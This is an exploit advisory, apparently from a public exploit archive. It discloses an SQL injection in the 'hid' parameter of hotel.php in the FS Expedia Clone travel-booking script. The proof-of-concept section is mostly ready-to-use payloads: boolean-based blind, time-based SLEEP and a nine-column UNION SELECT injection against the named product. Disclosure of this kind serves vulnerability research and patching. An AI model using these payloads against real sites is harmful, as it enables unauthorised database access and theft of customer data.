FS Expedia Clone SQL Injection

FS Expedia Clone suffers from a remote SQL injection vulnerability.


MD5 | f63b2ff8cc62729e51cedf4306e0b4c6

# Exploit Title: FS Expedia Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/expedia-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: [email protected]
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Coded in PHP/MySQL, this is an ultra efficient script hot favorite with travel agencies worldwide.

Technical Details & Description:
================================

SQL injection on [hid] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/hotel.php?hid=2 AND 6652=6652

Parameter: hid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: hid=2 AND 6652=6652

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: hid=2 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: hid=-1685 UNION ALL SELECT NULL,CONCAT(0x7162716271,0x696b6a4c52576c76446173666d5972704d454258706146434f544c78416a52754444694864786a42,0x7176786b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Nqcw
==================
8bitsec - [https://twitter.com/_8bitsec]


Related Posts